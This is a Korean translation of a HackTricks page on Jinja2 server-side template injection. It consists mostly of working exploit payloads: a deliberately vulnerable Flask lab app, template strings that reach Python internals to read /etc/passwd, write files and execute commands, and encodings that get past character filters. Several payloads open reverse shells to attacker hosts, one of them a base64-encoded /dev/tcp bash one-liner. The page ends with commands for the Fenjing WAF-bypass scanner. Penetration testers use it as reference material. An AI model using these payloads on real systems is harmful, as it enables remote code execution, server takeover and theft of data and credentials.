Jinja2 SSTI

HackTricks ์ง€์›ํ•˜๊ธฐ

๋žฉ

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

๊ธฐํƒ€

๋””๋ฒ„๊ทธ ๋ฌธ๊ตฌ

๋””๋ฒ„๊ทธ ํ™•์žฅ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด, ํ˜„์žฌ ์ปจํ…์ŠคํŠธ์™€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ•„ํ„ฐ ๋ฐ ํ…Œ์ŠคํŠธ๋ฅผ ๋คํ”„ํ•˜๋Š” debug ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋””๋ฒ„๊ฑฐ๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š๊ณ ๋„ ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‚ด์šฉ์„ ํ™•์ธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

<pre>

{% debug %}







</pre>

๋ชจ๋“  ๊ตฌ์„ฑ ๋ณ€์ˆ˜ ๋คํ”„

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}




Jinja Injection

์šฐ์„ , Jinja injection์—์„œ๋Š” ์ƒŒ๋“œ๋ฐ•์Šค์—์„œ ํƒˆ์ถœํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•˜๋ฉฐ, ์ผ๋ฐ˜ ํŒŒ์ด์ฌ ์‹คํ–‰ ํ๋ฆ„์— ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๋น„์ƒŒ๋“œ๋ฐ•์Šค ํ™˜๊ฒฝ์—์„œ ์˜จ ๊ฐ์ฒด๋ฅผ ์•…์šฉํ•ด์•ผ ํ•˜๋ฉฐ, ์ด ๊ฐ์ฒด๋Š” ์ƒŒ๋“œ๋ฐ•์Šค์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Global Objects ์ ‘๊ทผํ•˜๊ธฐ

์˜ˆ๋ฅผ ๋“ค์–ด, ์ฝ”๋“œ render_template("hello.html", username=username, email=email)์—์„œ ๊ฐ์ฒด username๊ณผ email์€ ๋น„์ƒŒ๋“œ๋ฐ•์Šค ํŒŒ์ด์ฌ ํ™˜๊ฒฝ์—์„œ ์˜ค๋ฉฐ ์ƒŒ๋“œ๋ฐ•์Šค ํ™˜๊ฒฝ ๋‚ด์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€, ์ƒŒ๋“œ๋ฐ•์Šค ํ™˜๊ฒฝ์—์„œ ํ•ญ์ƒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๊ฐ์ฒด๋“ค๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

[]
''
()
dict
config
request

Recovering <class 'object'>

๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ด๋Ÿฌํ•œ ๊ฐ์ฒด์—์„œ ์ •์˜๋œ ํด๋ž˜์Šค๋ฅผ ๋ณต๊ตฌํ•˜๊ธฐ ์œ„ํ•ด <class 'object'> ํด๋ž˜์Šค์— ๋„๋‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ด ๊ฐ์ฒด์—์„œ __subclasses__ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ๋น„์ƒŒ๋“œ๋ฐ•์Šค๋œ ํŒŒ์ด์ฌ ํ™˜๊ฒฝ์˜ ๋ชจ๋“  ํด๋ž˜์Šค๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์ด ๊ฐ์ฒด ํด๋ž˜์Šค์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ํด๋ž˜์Šค ๊ฐ์ฒด์— ์ ‘๊ทผํ•œ ๋‹ค์Œ __base__, __mro__()[-1] ๋˜๋Š” .**mro()[-1]**์— ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋‚˜์„œ, ์ด ๊ฐ์ฒด ํด๋ž˜์Šค์— ๋„๋‹ฌํ•œ ํ›„ **__subclasses__()**๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

์ด ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}





# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

๋ณต๊ตฌํ•œ ํ›„ <class 'object'> ๋ฐ __subclasses__๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์ด์ œ ์ด๋Ÿฌํ•œ ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์„ ์ฝ๊ณ  ์“ฐ๊ณ  ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

__subclasses__ ํ˜ธ์ถœ์„ ํ†ตํ•ด ์ˆ˜๋ฐฑ ๊ฐœ์˜ ์ƒˆ๋กœ์šด ํ•จ์ˆ˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํšŒ๋ฅผ ์–ป์—ˆ์œผ๋ฉฐ, ์šฐ๋ฆฌ๋Š” ํŒŒ์ผ ํด๋ž˜์Šค์— ์ ‘๊ทผํ•˜์—ฌ ํŒŒ์ผ์„ ์ฝ๊ณ /์“ฐ๋Š” ๊ฒƒ์ด๋‚˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ๊ธฐ์  ๊ฒƒ์ž…๋‹ˆ๋‹ค (์˜ˆ: os).

์›๊ฒฉ ํŒŒ์ผ ์ฝ๊ธฐ/์“ฐ๊ธฐ

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

๋” ๋งŽ์€ ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํƒˆ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ํ•„ํ„ฐ ์šฐํšŒ

์ผ๋ฐ˜์ ์ธ ์šฐํšŒ

์ด ์šฐํšŒ๋Š” ์ผ๋ถ€ ๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ ๋„ ๊ฐ์ฒด์˜ ์†์„ฑ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด๋ฏธ ์ด์ „ ์˜ˆ์ œ์—์„œ ์ด๋Ÿฌํ•œ ์šฐํšŒ ์ค‘ ์ผ๋ถ€๋ฅผ ๋ณด์•˜์ง€๋งŒ, ์—ฌ๊ธฐ์„œ ์š”์•ฝํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}




HTML ์ธ์ฝ”๋”ฉ ํ”ผํ•˜๊ธฐ

๊ธฐ๋ณธ์ ์œผ๋กœ Flask๋Š” ๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ ํ…œํ”Œ๋ฆฟ ๋‚ด๋ถ€์˜ ๋ชจ๋“  ๋‚ด์šฉ์„ HTML๋กœ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

safe ํ•„ํ„ฐ๋Š” ์šฐ๋ฆฌ๊ฐ€ ํŽ˜์ด์ง€์— JavaScript์™€ HTML์„ HTML ์ธ์ฝ”๋”ฉ๋˜์ง€ ์•Š์€ ์ฑ„๋กœ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค, ์ด๋ ‡๊ฒŒ:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

์•…์„ฑ ๊ตฌ์„ฑ ํŒŒ์ผ ์ž‘์„ฑ์œผ๋กœ RCE.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

์—ฌ๋Ÿฌ ๋ฌธ์ž ์—†์ด

Without {{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}




Jinja Injection without <class 'object'>

์ „์—ญ ๊ฐ์ฒด์—์„œ ๊ทธ ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  RCE์— ๋„๋‹ฌํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ „์—ญ ๊ฐ์ฒด ์ค‘์—์„œ ํ•จ์ˆ˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **__globals__.__builtins__**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฑฐ๊ธฐ์„œ RCE๋Š” ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ์ฒด request, config ๋ฐ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ์ „์—ญ ๊ฐ์ฒด์—์„œ ํ•จ์ˆ˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

์ผ๋‹จ ๋ช‡ ๊ฐ€์ง€ ํ•จ์ˆ˜๋ฅผ ์ฐพ์œผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋‚ด์žฅ ํ•จ์ˆ˜๋ฅผ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing๋Š” CTF์— ํŠนํ™”๋œ ๋„๊ตฌ์ด์ง€๋งŒ ์‹ค์ œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์ž˜๋ชป๋œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•˜๋Š” ๋ฐ์—๋„ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ํ•„ํ„ฐ๋ฅผ ๊ฐ์ง€ํ•˜๊ณ  ์šฐํšŒ ๊ฒฝ๋กœ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ๋‹จ์–ด์™€ ์ฟผ๋ฆฌ๋ฅผ ๋ฟŒ๋ ค์ฃผ๋ฉฐ, ๋Œ€ํ™”ํ˜• ์ฝ˜์†”๋„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

References

Support HackTricks

Last updated